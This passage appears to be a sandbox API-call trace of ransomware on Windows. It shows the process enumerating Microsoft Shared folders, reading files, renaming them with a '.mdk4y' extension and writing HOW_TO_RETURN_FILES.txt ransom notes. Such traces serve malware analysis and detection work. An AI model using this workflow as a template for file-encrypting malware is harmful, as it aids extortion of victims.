lpMultiByteStr="BASMLA.XSLs", lpUsedDefaultChar=0x37dec0) returned 10 [0113.936] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0113.937] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1818916700000) returned 1 [0113.937] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x377ef, lpOverlapped=0x0) returned 1 [0113.974] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1818920400000) returned 1 [0113.974] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1818920400000) returned 1 [0113.976] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl.mdk4y")) returned 1 [0113.976] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 0 [0113.976] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0113.977] AreFileApisANSI () returned 1 [0113.977] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6aafd0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 87 [0113.977] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0113.977] GetFileType (hFile=0x130) returned 0x1 [0113.978] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0113.978] AreFileApisANSI () returned 1 [0113.978] GetACP () returned 0x4e4 [0113.978] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="METCONV.DLL", cchWideChar=11, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="METCONV.DLLLL", lpUsedDefaultChar=0x37df4c) returned 11 [0113.978] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0113.992] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818922200000) returned 1 [0113.992] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1b180, lpOverlapped=0x0) returned 1 [0114.017] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818924700000) returned 1 [0114.017] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818924700000) returned 1 [0114.019] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.DLL.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.dll.mdk4y")) returned 1 [0114.019] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0114.019] AreFileApisANSI () returned 1 [0114.019] GetACP () returned 0x4e4 [0114.019] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="METCONV.TXT", cchWideChar=11, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="METCONV.TXT", lpUsedDefaultChar=0x37df4c) returned 11 [0114.019] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0114.020] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818925000000) returned 1 [0114.020] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x100000, lpOverlapped=0x0) returned 1 [0114.126] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818935600000) returned 1 [0114.126] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818935600000) returned 1 [0114.139] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt.mdk4y")) returned 1 [0114.158] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0114.158] AreFileApisANSI () returned 1 [0114.158] GetACP () returned 0x4e4 [0114.158] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MOFL.DLL", cchWideChar=8, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MOFL.DLLTXT", lpUsedDefaultChar=0x37df4c) returned 8 [0114.158] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\mofl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0114.197] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818942700000) returned 1 [0114.198] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x59180, lpOverlapped=0x0) returned 1 [0114.202] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818943200000) returned 1 [0114.202] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818943200000) returned 1 [0114.205] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\mofl.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\mofl.dll.mdk4y")) returned 1 [0114.206] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0114.206] AreFileApisANSI () returned 1 [0114.206] GetACP () returned 0x4e4 [0114.206] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSTAG.TLB", cchWideChar=9, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MSTAG.TLBXT", lpUsedDefaultChar=0x37df4c) returned 9 [0114.206] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\mstag.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0114.207] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818943700000) returned 1 [0114.207] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3574, lpOverlapped=0x0) returned 1 [0114.247] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818947700000) returned 1 [0114.247] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818947700000) returned 1 [0114.247] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\mstag.tlb"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\mstag.tlb.mdk4y")) returned 1 [0114.248] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0114.248] AreFileApisANSI () returned 1 [0114.248] GetACP () returned 0x4e4 [0114.248] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SmartTagInstall.exe", cchWideChar=19, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SmartTagInstall.exe Shared\\PROOF\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37df4c) returned 19 [0114.248] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 0 [0114.248] FindClose (in: hFindFile=0x6ab310 | out: hFindFile=0x6ab310) returned 1 [0114.248] AreFileApisANSI () returned 1 [0114.248] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6aaea8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 81 [0114.248] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dc84, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0114.249] GetFileType (hFile=0x12c) returned 0x1 [0114.250] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0114.250] AreFileApisANSI () returned 1 [0114.250] GetACP () returned 0x4e4 [0114.250] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Source Engine", cchWideChar=13, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="Source EngineeProtectionPlatform", lpUsedDefaultChar=0x37dfd8) returned 13 [0114.250] AreFileApisANSI () returned 1 [0114.250] GetACP () returned 0x4e4 [0114.250] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d210, cbMultiByte=61, lpWideCharStr=0x37dd6c, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\j獸kʼn") returned 61 [0114.251] AreFileApisANSI () returned 1 [0114.251] GetACP () returned 0x4e4 [0114.251] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr=".on Files\\Microsoft Shared\\Smart Tag\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37df4c) returned 1 [0114.251] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0114.251] AreFileApisANSI () returned 1 [0114.251] GetACP () returned 0x4e4 [0114.251] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="..n Files\\Microsoft Shared\\Smart Tag\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37df4c) returned 2 [0114.251] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0114.251] AreFileApisANSI () returned 1 [0114.251] GetACP () returned 0x4e4 [0114.251] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OSE.EXE", cchWideChar=7, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="OSE.EXEes\\Microsoft Shared\\Smart Tag\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37df4c) returned 7 [0114.251] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine\\ose.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0114.251] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818948100000) returned 1 [0114.251] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2a968, lpOverlapped=0x0) returned 1 [0114.334] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818956400000) returned 1 [0114.334] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818956400000) returned 1 [0114.336] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine\\ose.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine\\ose.exe.mdk4y")) returned 1 [0114.337] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 0 [0114.337] FindClose (in: hFindFile=0x6ab310 | out: hFindFile=0x6ab310) returned 1 [0114.337] AreFileApisANSI () returned 1 [0114.337] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6aaea8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 85 [0114.337] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dc84, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0114.337] GetFileType (hFile=0x12c) returned 0x1 [0114.338] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0114.338] AreFileApisANSI () returned 1 [0114.338] GetACP () returned 0x4e4 [0114.338] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Stationery", cchWideChar=10, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="Stationeryine", lpUsedDefaultChar=0x37dfd8) returned 10 [0114.338] AreFileApisANSI () returned 1 [0114.338] GetACP () returned 0x4e4 [0114.338] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d210, cbMultiByte=58, lpWideCharStr=0x37dd6c, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\\x04") returned 58 [0114.348] AreFileApisANSI () returned 1 [0114.348] GetACP () returned 0x4e4 [0114.348] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr=".on Files\\Microsoft Shared\\Source Engine\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37df4c) returned 1 [0114.348] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0114.382] AreFileApisANSI () returned 1 [0114.382] GetACP () returned 0x4e4 [0114.382] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="..n Files\\Microsoft Shared\\Source Engine\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37df4c) returned 2 [0114.382] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0114.382] AreFileApisANSI () returned 1 [0114.382] GetACP () returned 0x4e4 [0114.382] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Bears.htm", cchWideChar=9, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Bears.htm\\Microsoft Shared\\Source Engine\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37df4c) returned 9 [0114.382] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0114.382] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0114.382] AreFileApisANSI () returned 1 [0114.382] GetACP () returned 0x4e4 [0114.382] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Bears.jpg", cchWideChar=9, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Bears.jpg", lpUsedDefaultChar=0x37df4c) returned 9 [0114.382] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0114.383] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0114.383] AreFileApisANSI () returned 1 [0114.383] GetACP () returned 0x4e4 [0114.383] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Blue_Gradient.jpg", cchWideChar=17, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Blue_Gradient.jpgft Shared\\Source Engine\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37df4c) returned 17 [0114.383] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\blue_gradient.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0114.384] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0114.384] AreFileApisANSI () returned 1 [0114.384] GetACP () returned 0x4e4 [0114.384] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Cave_Drawings.gif", cchWideChar=17, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Cave_Drawings.gif", lpUsedDefaultChar=0x37df4c) returned 17 [0114.384] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\cave_drawings.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0114.384] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0114.384] AreFileApisANSI () returned 1 [0114.384] GetACP () returned 0x4e4 [0114.384] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Connectivity.gif", cchWideChar=16, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Connectivity.giff", lpUsedDefaultChar=0x37df4c) returned 16 [0114.384] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\connectivity.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0114.385] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0114.385] AreFileApisANSI () returned 1 [0114.385] GetACP () returned 0x4e4 [0114.385] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Desktop.ini", cchWideChar=11, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Desktop.iniy.gif", lpUsedDefaultChar=0x37df4c) returned 11 [0114.385] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0114.385] AreFileApisANSI () returned 1 [0114.385] GetACP () returned 0x4e4 [0114.385] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Dotted_Lines.emf", cchWideChar=16, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Dotted_Lines.emf", lpUsedDefaultChar=0x37df4c) returned 16 [0114.385] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\dotted_lines.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0114.385] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0114.385] AreFileApisANSI () returned 1 [0114.385] GetACP () returned 0x4e4 [0114.385] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Garden.htm", cchWideChar=10, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Garden.htmes.emf", lpUsedDefaultChar=0x37df4c) returned 10 [0114.385] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0114.385] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0114.385] AreFileApisANSI () returned 1 [0114.385] GetACP () returned 0x4e4 [0114.385] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Garden.jpg", cchWideChar=10, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Garden.jpg", lpUsedDefaultChar=0x37df4c) returned 10 [0114.386] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0114.386] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0114.386] AreFileApisANSI () returned 1 [0114.386] GetACP () returned 0x4e4 [0114.386] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Genko_1.emf", cchWideChar=11, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Genko_1.emfs.emf", lpUsedDefaultChar=0x37df4c) returned 11 [0114.386] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_1.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0114.387] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0114.387] AreFileApisANSI () returned 1 [0114.387] GetACP () returned 0x4e4 [0114.387] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Genko_2.emf", cchWideChar=11, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Genko_2.emf", lpUsedDefaultChar=0x37df4c) returned 11 [0114.387] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_2.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff 